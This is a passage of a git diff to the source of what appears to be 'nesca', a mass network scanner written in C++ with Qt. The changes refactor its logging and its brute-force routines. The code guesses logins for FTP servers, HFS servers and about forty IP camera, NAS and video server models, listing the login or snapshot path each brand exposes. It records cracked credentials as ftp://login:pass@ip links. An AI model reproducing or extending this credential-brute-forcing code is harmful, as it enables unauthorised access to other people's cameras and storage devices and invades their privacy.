stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit)); -#pragma endregion + } else if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) { ++PieBA; - strcat(log, "<a href=\"ftp://"); - strcat(log, lps.login); - strcat(log, ":"); - strcat(log, lps.pass); - strcat(log, "@"); - strcat(log, ip); - strcat(log, "/\"><span style=\"color: #ff6600;\">ftp://"); - strcat(log, lps.login); - strcat(log, ":"); - strcat(log, lps.pass); - strcat(log, "@"); - strcat(log, ip); - strcat(log, "</span></a>"); - strcat(log, ps.headr); - strcat(logEmit, "<a href=\"ftp://"); - strcat(logEmit, lps.login); - strcat(logEmit, ":"); - strcat(logEmit, lps.pass); - strcat(logEmit, "@"); - strcat(logEmit, ip); - strcat(logEmit, "/\"><span style=\"color: #ff6600;\">ftp://"); - strcat(logEmit, lps.login); - strcat(logEmit, ":"); - strcat(logEmit, lps.pass); - strcat(logEmit, "@"); - strcat(logEmit, ip); - strcat(logEmit, "</span></a> (F:"); - strcat(logEmit, std::to_string(ps.directoryCount).c_str()); - strcat(logEmit, ")"); + sprintf(log, "[FTP]:<font color=\"#0f62e2\">%s:%s</font>; Received: %d<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a>%s", + ip, port, recd, lps.login, lps.pass, ip, lps.login, lps.pass, ip, ps.headr); + sprintf(logEmit, "[FTP]:<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a> (F:%d)", + lps.login, lps.pass, ip, lps.login, lps.pass, ip, ps.directoryCount); - fputsf(ip, port, log, flag, "FTP"); +// strcat(log, "<a href=\"ftp://"); +// strcat(log, lps.login); +// strcat(log, ":"); +// strcat(log, lps.pass); +// strcat(log, "@"); +// strcat(log, ip); +// strcat(log, "/\"><span style=\"color: #ff6600;\">ftp://"); +// strcat(log, lps.login); +// strcat(log, ":"); +// strcat(log, lps.pass); +// strcat(log, "@"); +// strcat(log, ip); +// strcat(log, "</span></a>"); +// strcat(log, ps.headr); + +// strcat(logEmit, "<a href=\"ftp://"); +// strcat(logEmit, lps.login); +// strcat(logEmit, ":"); +// strcat(logEmit, lps.pass); +// strcat(logEmit, "@"); +// strcat(logEmit, ip); +// strcat(logEmit, "/\"><span style=\"color: #ff6600;\">ftp://"); +// strcat(logEmit, lps.login); +// strcat(logEmit, ":"); +// strcat(logEmit, lps.pass); +// strcat(logEmit, "@"); +// strcat(logEmit, ip); +// strcat(logEmit, "</span></a> (F:"); +// strcat(logEmit, std::to_string(ps.directoryCount).c_str()); +// strcat(logEmit, ")"); + + fputsf(log, flag, "FTP"); fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), "[FTP service]", lps.login, lps.pass, "NULL", cp, "FTP"); -#pragma region QTGUI_Area + stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit)); -#pragma endregion + } else if(strstr(lps.login, "Unknown protocol") != NULL) { strcat(log, "; [!] USER/PASS commands failed. Dunno what to do."); - fputsf(ip, port, log, flag, ""); + fputsf(log, flag, ""); + -#pragma region QTGUI_Area stt->doEmitionFoundData(QString::fromLocal8Bit(log)); -#pragma endregion + }; } else if(flag == 21) //Eyeon { - _specBrute(ps.cookie, ip, p, hl, "Eyeon Camera", flag, "/user/index.htm", "Eyeon Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Eyeon Camera", flag, "/user/index.htm", "Basic Authorization", cp, recd, ""); } else if(flag == 22) //IP Camera control { - _specBrute(ps.cookie, ip, p, hl, "IP camera Control webpage", flag, "/main/cs_motion.asp", "IP Camera Control", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "IP camera Control webpage", flag, "/main/cs_motion.asp", "Basic Authorization", cp, recd, ""); } else if(flag == 23) //Network Camera BB-SC384 { - _specBrute(ps.cookie, ip, p, hl, "Network Camera BB-SC384", flag, "/live/index2.html", "Network Camera BB-SC384", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Network Camera BB-SC384", flag, "/live/index2.html", "Basic Authorization", cp, recd, ""); } else if(flag == 24) //Network Camera VB-M40 { - _specBrute(ps.cookie, ip, p, hl, "Network Camera VB-M40", flag, "/-wvhttp-01-/open.cgi?", "Network Camera VB-M40", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Network Camera VB-M40", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, recd, ""); } else if(flag == 25) //Panasonic WTFISTHISAreaOMGIDONTEVEN-camera { - _specBrute(ps.cookie, ip, 60002, hl, "Panasonic WTFISTHISAreaOMGIDONTEVEN-camera", flag, "/SnapshotJPEG", "Panasonic WTFISTHISAreaOMGIDONTEVEN-camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, 60002, hl, "Panasonic WTFISTHISAreaOMGIDONTEVEN-camera", flag, "/SnapshotJPEG", "Basic Authorization", cp, recd, ""); } else if(flag == 26) //Sony Network Camera { - _specBrute(ps.cookie, ip, p, hl, "Sony Network Camera", flag, "/oneshotimage?", "Sony Network Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Sony Network Camera", flag, "/oneshotimage?", "Basic Authorization", cp, recd, ""); } else if(flag == 27) //UA Network Camera { - _specBrute(ps.cookie, ip, p, hl, "UA Network Camera", flag, "/webs.cgi?", "UA Network Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "UA Network Camera", flag, "/webs.cgi?", "Basic Authorization", cp, recd, ""); } else if(flag == 28) //Network Camera VB-M40 { - _specBrute(ps.cookie, ip, p, hl, "Network Camera VB-??", flag, "/-wvhttp-01-/open.cgi?", "Network Camera VB-??", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Network Camera VB-??", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, recd, ""); } else if(flag == 29) //LG Smart IP Device { - _specBrute(ps.cookie, ip, p, hl, "LG Smart IP Device Camera", flag, "/digest.php", "LG Smart IP Device Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "LG Smart IP Device Camera", flag, "/digest.php", "Basic Authorization", cp, recd, ""); } else if(flag == 30) //NAS { - _specBrute(ps.cookie, ip, p, hl, "NAS", flag, "/cgi-bin/data/viostor-220/viostor/viostor.cgi", "NAS", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "NAS", flag, "/cgi-bin/data/viostor-220/viostor/viostor.cgi", "Basic Authorization", cp, recd, ""); } else if(flag == 31) //ip cam { - _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/check_user.cgi", "IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/check_user.cgi", "Basic Authorization", cp, recd, ""); } else if(flag == 32) //IPC WEB ip cam { - _specWEBIPCAMBrute(ip, p, hl, "[IPC] WEB IP Camera", flag, "[IPC] WEB IP Camera", "WEB Authorization", cp, recd, "IPC"); + _specWEBIPCAMBrute(ip, p, hl, "[IPC] WEB IP Camera", flag, "WEB Authorization", cp, recd, "IPC"); } else if(flag == 33) //GEOvision ip cam { - _specWEBIPCAMBrute(ip, p, hl, "[GEO] WEB IP Camera", flag, "[GEO] WEB IP Camera", "WEB Authorization", cp, recd, "GEO"); + _specWEBIPCAMBrute(ip, p, hl, "[GEO] WEB IP Camera", flag, "WEB Authorization", cp, recd, "GEO"); } else if(flag == 34) //Hikvision ip cam { - _specBrute(ps.cookie, ip, p, hl, "[Hikvision] IP Camera", flag, "/PSIA/Custom/SelfExt/userCheck", "[Hikvision] IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "[Hikvision] IP Camera", flag, "/PSIA/Custom/SelfExt/userCheck", "Basic Authorization", cp, recd, ""); } else if(flag == 35) //EasyCam { - _specWEBIPCAMBrute(ip, p, hl, "[EasyCam] WEB IP Camera", flag, "[EasyCam] WEB IP Camera", "WEB Authorization", cp, recd, "EasyCam"); + _specWEBIPCAMBrute(ip, p, hl, "[EasyCam] WEB IP Camera", flag, "WEB Authorization", cp, recd, "EasyCam"); } else if(flag == 36) //Panasonic Cam { - _specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "[Panasonic] IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, recd, ""); } else if(flag == 37) //Panasonic Cam { - _specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/view/getuid.cgi", "[Panasonic] IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/view/getuid.cgi", "Basic Authorization", cp, recd, ""); } else if(flag == 38) //Foscam { - _specWEBIPCAMBrute(ip, p, hl, "[Foscam] IP Camera", flag, "[Foscam] IP Camera", "Web Authorization", cp, recd, "Foscam"); + _specWEBIPCAMBrute(ip, p, hl, "[Foscam] IP Camera", flag, "Web Authorization", cp, recd, "Foscam"); } else if(flag == 39) //EagleEye { - _specBrute(ps.cookie, ip, p, hl, "[EagleEye] IP Camera", flag, "/cgi-bin/guest/Video.cgi?", "[EagleEye] IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "[EagleEye] IP Camera", flag, "/cgi-bin/guest/Video.cgi?", "Basic Authorization", cp, recd, ""); } else if(flag == 40) //Network Camera VB-C?? { - _specBrute(ps.cookie, ip, p, hl, "[Network Camera VB-C??] IP Camera", flag, "/admin/index.shtml?", "[Network Camera VB-C??] IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "[Network Camera VB-C??] IP Camera", flag, "/admin/index.shtml?", "Basic Authorization", cp, recd, ""); } else if(flag == 41) //AVIOSYS-camera { - _specWEBIPCAMBrute(ip, p, hl, "[AVIOSYS] IP Camera", flag, "[AVIOSYS] IP Camera", "Web Authorization", cp, recd, "AVIOSYS"); + _specWEBIPCAMBrute(ip, p, hl, "[AVIOSYS] IP Camera", flag, "Web Authorization", cp, recd, "AVIOSYS"); } else if(flag == 42) //NW_camera { - _specBrute(ps.cookie, ip, p, hl, "[NW_camera] IP Camera", flag, "/cgi-bin/getuid?FILE=indexnw.html", "[NW_camera] IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "[NW_camera] IP Camera", flag, "/cgi-bin/getuid?FILE=indexnw.html", "Basic Authorization", cp, recd, ""); } else if(flag == 43) //NW_camera { - _specBrute(ps.cookie, ip, p, hl, "[Micros] IP Camera", flag, "/gui/rem_display.shtml", "[Micros] IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "[Micros] IP Camera", flag, "/gui/rem_display.shtml", "Basic Authorization", cp, recd, ""); } else if(flag == 44) //Hikvision ip cam 2 { - _specBrute(ps.cookie, ip, p, hl, "[Hikvision] IP Camera", flag, "/ISAPI/Security/userCheck", "[Hikvision] IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "[Hikvision] IP Camera", flag, "/ISAPI/Security/userCheck", "Basic Authorization", cp, recd, ""); } else if(flag == 45) //Panasonic ip cam { - _specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "[Panasonic] IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, recd, ""); } else if(flag == 46) //Buffalo disk { - _specWEBIPCAMBrute(ip, p, hl, "[Buffalo] Lan Disk", flag, "[Buffalo] Lan Disk", "Web Authorization", cp, recd, "BUFFALO"); + _specWEBIPCAMBrute(ip, p, hl, "[Buffalo] Lan Disk", flag, "Web Authorization", cp, recd, "BUFFALO"); } else if(flag == 47) //Digital Video Server { - _specWEBIPCAMBrute(ip, p, hl, "[DVS] Camera", flag, "[DVS] Camera", "Web Authorization", cp, recd, "DVS"); + _specWEBIPCAMBrute(ip, p, hl, "[DVS] Camera", flag, "Web Authorization", cp, recd, "DVS"); } else if(flag == 48) //ipCAM { - _specWEBIPCAMBrute(ip, p, hl, "[ipCAM] Camera", flag, "[ipCAM] Camera", "Web Authorization", cp, recd, "IPCAM"); + _specWEBIPCAMBrute(ip, p, hl, "[ipCAM] Camera", flag, "Web Authorization", cp, recd, "IPCAM"); } else if(flag == 49) //IEORFOREFOX { - _specWEBIPCAMBrute(ip, p, hl, "[IEORFOREFOX] Camera", flag, "[IEORFOREFOX] Camera", "Web Authorization", cp, recd, "IEORFOREFOX"); + _specWEBIPCAMBrute(ip, p, hl, "[IEORFOREFOX] Camera", flag, "Web Authorization", cp, recd, "IEORFOREFOX"); } else if(flag == 20) //AXIS Camera { - _specBrute(ps.cookie, ip, p, hl, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "AXIS Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "Basic Authorization", cp, recd, ""); } else if(flag == 19) //reecam cameras { - _specBrute(ps.cookie, ip, p, hl, "Reecam (network camera)", flag, "/videostream.cgi", "ReeCam camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Reecam (network camera)", flag, "/videostream.cgi", "Basic Authorization", cp, recd, ""); } else if(flag == 18) //linksys camera { - _specBrute(ps.cookie, ip, p, hl, "Linksys camera", flag, "/img/main.cgi", "Linksys camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Linksys camera", flag, "/img/main.cgi", "Basic Authorization", cp, recd, ""); } else if(flag == 17) //Real-time IP Camera Monitoring System { - _specBrute(ps.cookie, ip, p, hl, "Real-time IP Camera Monitoring System", flag, "/live.htm", "Real-time IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Real-time IP Camera Monitoring System", flag, "/live.htm", "Basic Authorization", cp, recd, ""); } else if(flag == 11) { - _specBrute(ps.cookie, ip, p, hl, "Netwave IP Camera", flag, "/videostream.cgi", "Netwave IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Netwave IP Camera", flag, "/videostream.cgi", "Basic Authorization", cp, recd, ""); } else if(flag == 12) { - _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/view/view.shtml?videos=", "IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/view/view.shtml?videos=", "Basic Authorization", cp, recd, ""); } else if(flag == 13) { - _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/eng/view/indexjava.html", "IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/eng/view/indexjava.html", "Basic Authorization", cp, recd, ""); } else if(flag == 14) { - _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/rdr.cgi", "IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/rdr.cgi", "Basic Authorization", cp, recd, ""); } else if(flag == 15) //For HFS { @@ -1826,37 +1860,40 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * Connector con; isActive = 1; ++AnomC1; + + lps = con._BALobby(ps.cookie, ip, p, "/~login", "[NORMAL]", ""); + sprintf(log, "[HFS]:<font color=\"#ff6600\">%s :: </font><a href=\"http://%s:%s/\"><span style=\"color: #a1a1a1;\">%s:%s</span></a><font color=\"#0084ff\"> T: </font><font color=\"#ff9600\">%s Pass: %s:%s</font>", + hl, ip, port, ip, port, finalstr, lps.login, lps.pass); - strcpy(log, "[HFS]:<font color=\"#ff6600\">"); - strcat(log, hl); - strcat(log, " :: </font><a href=\"http://"); - strcat(log, ip); - strcat(log, ":"); - strcat(log, port); - strcat(log, "/\"><span style=\"color: #a1a1a1;\">"); - strcat(log, ip); - strcat(log, ":"); - strcat(log, port); - strcat(log, "</span></a><font color=\"#0084ff\"> T: </font><font color=\"#ff9600\">"); - strcat(log, finalstr); - strcat(log, " Pass: "); - lps = con._BALobby(ps.cookie, ip, p, "/~login", "[NORMAL]", ""); - strcat(log, lps.login); - strcat(log, ":"); - strcat(log, lps.pass); - strcat(log, "</font>"); +// strcpy(log, "[HFS]:<font color=\"#ff6600\">"); +// strcat(log, hl); +// strcat(log, " :: </font><a href=\"http://"); +// strcat(log, ip); +// strcat(log, ":"); +// strcat(log, port); +// strcat(log, "/\"><span style=\"color: #a1a1a1;\">"); +// strcat(log, ip); +// strcat(log, ":"); +// strcat(log, port); +// strcat(log, "</span></a><font color=\"#0084ff\"> T: </font><font color=\"#ff9600\">"); +// strcat(log, finalstr); +// strcat(log, " Pass: "); +// strcat(log, lps.login); +// strcat(log, ":"); +// strcat(log, lps.pass); +// strcat(log, "</font>"); fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), finalstr, lps.login, lps.pass, "HFS-FTP", cp, "Basic Authorization"); - fputsf (ip, port, log , flag, "HFS"); + fputsf (log , flag, "HFS"); stt->doEmitionFoundData(QString::fromLocal8Bit(log)); ZeroMemory(temp, sizeof(temp)); } else if(flag == 1) { - _specBrute(ps.cookie, ip, p, hl, finalstr, flag, pps, "[NORMAL]", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, finalstr, flag, pps, "[NORMAL]", cp, recd, ""); } else if(flag == 101) { - _specBrute(ps.cookie, ip, p, hl, finalstr, flag, pps, "[DIGEST]", "Basic Authorization", cp, recd, buffcpy); + _specBrute(ps.cookie, ip, p, hl, finalstr, flag, pps, "[DIGEST]", cp, recd, buffcpy); } else if(flag == 10) { @@ -1866,10 +1903,10 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * { putInFile(flag, ip, port, recd, finalstr, hl, cp); }; -#pragma endregion + return flag; -}; +} const char *rbuff1 = "GET "; const char *rbuff2 = " HTTP/1.1\r\nHost: "; @@ -1954,7 +1991,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P if(tempPort != 80){ strcat(mes, ":"); char tbuff[16] = {0}; - sprintf(tbuff, "%s", tempPort); + sprintf(tbuff, "%d", tempPort); strcat(mes, tbuff); } if(strlen(cookie) != 0) @@ -2087,7 +2124,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P if(tempPort != 80){ strcat(mes, ":"); char tbuff[16] = {0}; - sprintf(tbuff, "%s", tempPort); + sprintf(tbuff, "%d", tempPort); strcat(mes, tbuff); } if(strlen(cookie) != 0) @@ -2175,7 +2212,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P if(tempPort != 80){ strcat(mes, ":"); char tbuff[16] = {0}; - sprintf(tbuff, "%s", tempPort); + sprintf(tbuff, "%d", tempPort); strcat(mes, tbuff); } if(strlen(cookie) != 0) @@ -2269,7 +2306,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P if(tempPort != 80){ strcat(mes, ":"); char tbuff[16] = {0}; - sprintf(tbuff, "%s", tempPort); + sprintf(tbuff, "%d", tempPort); strcat(mes, tbuff); } if(strlen(cookie) != 0) @@ -2344,11 +2381,10 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P }; return -1; -}; +} + void _getPopupTitle(PathStr *ps, char *str) { - char res[32] = {0}; - strcat(ps->headr, "[Popup detected. Title: "); char *ptr1 = strstr(str, ","); @@ -2379,7 +2415,8 @@ void _getPopupTitle(PathStr *ps, char *str) }; strcat(ps->headr, "]"); -}; +} + void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int port) { char *ptr1 = strstr(str, tag); @@ -2421,8 +2458,7 @@ void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int char *ptrQuote2 = _findLast(tempBuff + 1, delim); if(ptrQuote2 != NULL) { - sz = ptrQuote2 - tempBuff; - char link[512] = {0}; + sz = ptrQuote2 - tempBuff; if(sz < 511) { if (tempBuff[0] == '.' && tempBuff[1] == '/') @@ -2455,8 +2491,7 @@ void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int strncpy(link1, ptr2 + 1, sz); char *ptrQuote3 = strstr(link1, "/"); if(ptrQuote3 != NULL) - { - char link[512] = {0}; + { strcpy(dataBuff, ptrQuote3); }; }; @@ -2469,7 +2504,8 @@ void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int stt->doEmitionRedFoundData("[JSLocator] _findFirst failed [" + QString(ip) + ":" + QString::number(port) + "]"); }; }; -}; +} + void _getJSCookie(char *dataBuff, char *str, char *ip, int port) { char *ptr1 = strstri(str, "document.cookie"); @@ -2490,7 +2526,8 @@ void _getJSCookie(char *dataBuff, char *str, char *ip, int port) }; }; }; -}; +} + int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std::vector<std::string> *redirStrLst, char *rBuff) { std::string redirectStr = ""; @@ -2521,7 +2558,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: return 0; }; - char *secondStr, *firstStr, *tempStr, finalstr[512] = {0}; + char finalstr[512] = {0}; if(strstri(str, "notice auth :*** looking up your hostname...") || strstri(str, "451 * :You have not registered.") @@ -2555,7 +2592,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: if(strstri(str, "top.htm?currenttime") != NULL || strstri(str, "top.htm?") != NULL ) strcat(finalstr, " [?][SecCam detected]"); -#pragma endregion + #pragma region 302 Redirects if( strstri(str, "http/1.0 301") != NULL || strstri(str, "http/1.1 301") != NULL @@ -2636,6 +2673,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: }; }; }; + if(strstri(str, "http-equiv=\"refresh\"") != NULL || strstri(str, "http-equiv=refresh") != NULL || strstri(str, "http-equiv='refresh'") != NULL @@ -2654,7 +2692,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: { temp = strstri(strTmp, "url="); - char *temp1 = NULL, *temp2 = NULL, temp3[128] = {0}; + char *temp2 = NULL, temp3[128] = {0}; int sz = 0; if(temp[4] == '"' || temp[4] == '\'' || temp[4] == ' ' || temp[4] == '\n' || temp[4] == '\r') @@ -2702,6 +2740,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: return 0; }; }; + if(strstri(str, "<script") != NULL) { if(strstri(str, "document.cookie") != NULL) @@ -2800,7 +2839,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: }; }; }; -#pragma endregion + if(strstri(str, "ActiveXObject") != NULL || strstri(str, ".cab") != NULL @@ -2828,8 +2867,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: { char *str1 = str; char *str2 = NULL; - char lol[128] = {0}; - char tag[16] = {0}; + char lol[128] = {0}; int AreaLen = 0; do { @@ -3049,4 +3087,4 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: strcpy(ps->path, "/"); return 0; -}; +} diff --git a/mainResources.h b/mainResources.h index 563697b..fdcb7f1 100644 --- a/mainResources.h +++ b/mainResources.h @@ -44,10 +44,39 @@ typedef hostent HOSTENT; typedef struct linger LINGER; typedef int BOOL; -#define INVALID_SOCKET (SOCKET)(~0) -#define SOCKET_ERROR (-1) -#define SD_BOTH 0x02 -#define FAR far +#define SD_BOTH 0x02 +#ifndef FAR +#define FAR far +#endif + +#ifndef INVALID_SOCKET +#define INVALID_SOCKET (SOCKET)(~0) +#endif +#ifndef SOCKET_ERROR +#define SOCKET_ERROR (-1) +#endif +#ifndef EINPROGRESS +#define EINPROGRESS WSAEINPROGRESS //10036 +#endif +#ifndef ENOTSOCK +#define ENOTSOCK WSAENOTSOCK //10038 +#endif +#ifndef EADDRNOTAVAIL +#define EADDRNOTAVAIL WSAEADDRNOTAVAIL //10049 +#endif +#ifndef ECONNRESET +#define ECONNRESET WSAECONNRESET //10054 +#endif +#ifndef ENOBUFS +#define ENOBUFS WSAENOBUFS //10055 +#endif +#ifndef ETIMEDOUT +#define ETIMEDOUT WSAETIMEDOUT //10060 +#endif +#ifndef ECONNREFUSED +#define ECONNREFUSED WSAECONNREFUSED //10061 +#endif + #endif #define MAX_ADDR_LEN 128 diff --git a/nesca.pro b/nesca.pro index 83fa075..50c5ce1 100644 --- a/nesca.pro +++ b/nesca.pro @@ -4,16 +4,14 @@ # #------------------------------------------------- -QT += core gui +QT += core gui multimedia greaterThan(QT_MAJOR_VERSION, 4): QT += widgets -PKGCONFIG += openssl CONFIG += c++11 TARGET = nesca TEMPLATE = app -LIBS += -lssh INCLUDEPATH += /opt/Qt5.3.2/5.3/gcc_64/include/QtWidgets/ SOURCES +=\ main.cpp \ @@ -71,3 +69,11 @@ RESOURCES += \ OTHER_FILES += \ nesca_3.rc + +unix|win32: LIBS += -lssl + +unix|win32: LIBS += -lssh + +unix|win32: LIBS += -lcrypto + +unix|win32: LIBS += -lpthread diff --git a/nesca_3.cpp b/nesca_3.cpp index 4577df6..74b78f5 100644 --- a/nesca_3.cpp +++ b/nesca_3.cpp @@ -51,8 +51,6 @@ bool smBit_8 = false; bool debugFileOK = false; bool privateMsgFlag = false; -static char *argv[] = {0}; -static int argc = 0; char inputStr[256] = {0}; bool proxyEnabledFlag = false; bool disableBlink = false; @@ -217,7 +215,8 @@ void setSceneArea() ui->graphicsVoice->setSceneRect(0, 0, ui->graphicsVoice->width(), ui->graphicsVoice->height()); ui->pbgv->setSceneRect(0, 0, ui->pbgv->width(), ui->pbgv->height()); ui->jobRangeVisual->setSceneRect(0, 0, ui->jobRangeVisual->width(), ui->jobRangeVisual->height()); -}; +} + void setButtonStyleArea() { ui->checkKeyBut->setStyleSheet( @@ -301,7 +300,8 @@ void setButtonStyleArea() "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" "}" ); -}; +} + void setSomeStyleArea() { qApp->setStyleSheet( @@ -433,7 +433,8 @@ void setSomeStyleArea() "}" ); setButtonStyleArea(); -}; +} + void SetValidators() { QRegExpValidator *validator = new QRegExpValidator( @@ -472,7 +473,7 @@ void SetValidators() validator = new QRegExpValidator(QRegExp("[a-zA-Z0-9]{32}"), NULL); ui->linePersKey->setValidator(validator); -}; +} void nesca_3::slotDrawTextPlacers() { @@ -480,7 +481,7 @@ void nesca_3::slotDrawTextPlacers() fnt.setFamily("Eurostile"); if(ME2ScanFlag) { - delete []sceneTextPlacer; + delete sceneTextPlacer; sceneTextPlacer = NULL; sceneTextPlacer = new QGraphicsScene(); ui->graphicTextPlacer->setScene(sceneTextPlacer); @@ -560,14 +561,13 @@ void nesca_3::slotDrawTextPlacers() } else if(VoiceScanFlag) { - sceneTextPlacer->clear(); - QPen penPT(QColor(255, 255, 255), 0.5, Qt::SolidLine, Qt::SquareCap, Qt::RoundJoin); + sceneTextPlacer->clear(); fnt.setPixelSize(8); int h = ui->graphicLog->height(); - delete []sceneTextPlacer; + delete sceneTextPlacer; sceneTextPlacer = NULL; sceneTextPlacer = new QGraphicsScene(); ui->graphicTextPlacer->setScene(sceneTextPlacer); @@ -581,7 +581,8 @@ void nesca_3::slotDrawTextPlacers() item->setDefaultTextColor(QColor(255, 255, 255, 180)); }; }; -}; +} + void nesca_3::slotDrawDelimLines() { int gHeight = ui->graphicLog->height(); @@ -608,7 +609,8 @@ void nesca_3::slotDrawDelimLines() sceneGrid2->addRect(154, 0, 38, gHeight - 3, penDelim2); sceneGrid2->addRect(194, 0, 38, gHeight - 3, penDelim2); sceneGrid2->addRect(234, 0, 35, gHeight - 3, penDelim2); -}; +} + QList<int> gLOL0; QList<int> gLOL1; QList<int> gLOL2; @@ -625,8 +627,7 @@ void nesca_3::slotQoSAddLine() sceneGrid2->clear(); sceneUpper->clear(); - float gHeight = ui->graphicLog->height(); - float gWidth = ui->graphicLog->width(); + float gHeight = ui->graphicLog->height(); float fact = (float)100 / (float)MaxDataVal; @@ -700,13 +701,13 @@ void nesca_3::slotQoSAddLine() item->setX(215); item->setDefaultTextColor(Qt::white); QOSWait = false; -}; +} + void nesca_3::slotQoSAddGrid() { sceneGrid->clear(); - int gWidth = ui->graphicLog->width(); - int gHeight = ui->graphicLog->height(); + int gWidth = ui->graphicLog->width(); if(MaxDataVal > 100) MaxDataVal = 100; float fact = (float)100/(float)MaxDataVal; @@ -716,11 +717,13 @@ void nesca_3::slotQoSAddGrid() th += fact; sceneGrid->addLine(0, th, gWidth, th, rpen); }; -}; +} + void nesca_3::setNickBox(QString str) { ui->ircNickBox->setText(str); -}; +} + void nesca_3::slotAddLine(int x1, int y1, int x2, int y2) { sceneGrid->addLine(x1, y1, x2, y2, pen); @@ -729,7 +732,8 @@ void nesca_3::slotAddLine(int x1, int y1, int x2, int y2) sceneGrid->removeItem(vectOld[10]); sceneGrid->items().pop_back(); }; -}; +} + void nesca_3::slotAddPolyLine() { if(ME2ScanFlag) @@ -771,17 +775,18 @@ void nesca_3::slotAddPolyLine() }; if(u > 10) u = 1; }; -}; +} + void nesca_3::slotDrawGrid() { sceneGrid->clear(); -}; +} + void nesca_3::slotDrawActivityGrid() { sceneActivityGrid->clear(); QPen penActivity(QColor(170, 170, 170, 150), 0.1); - int 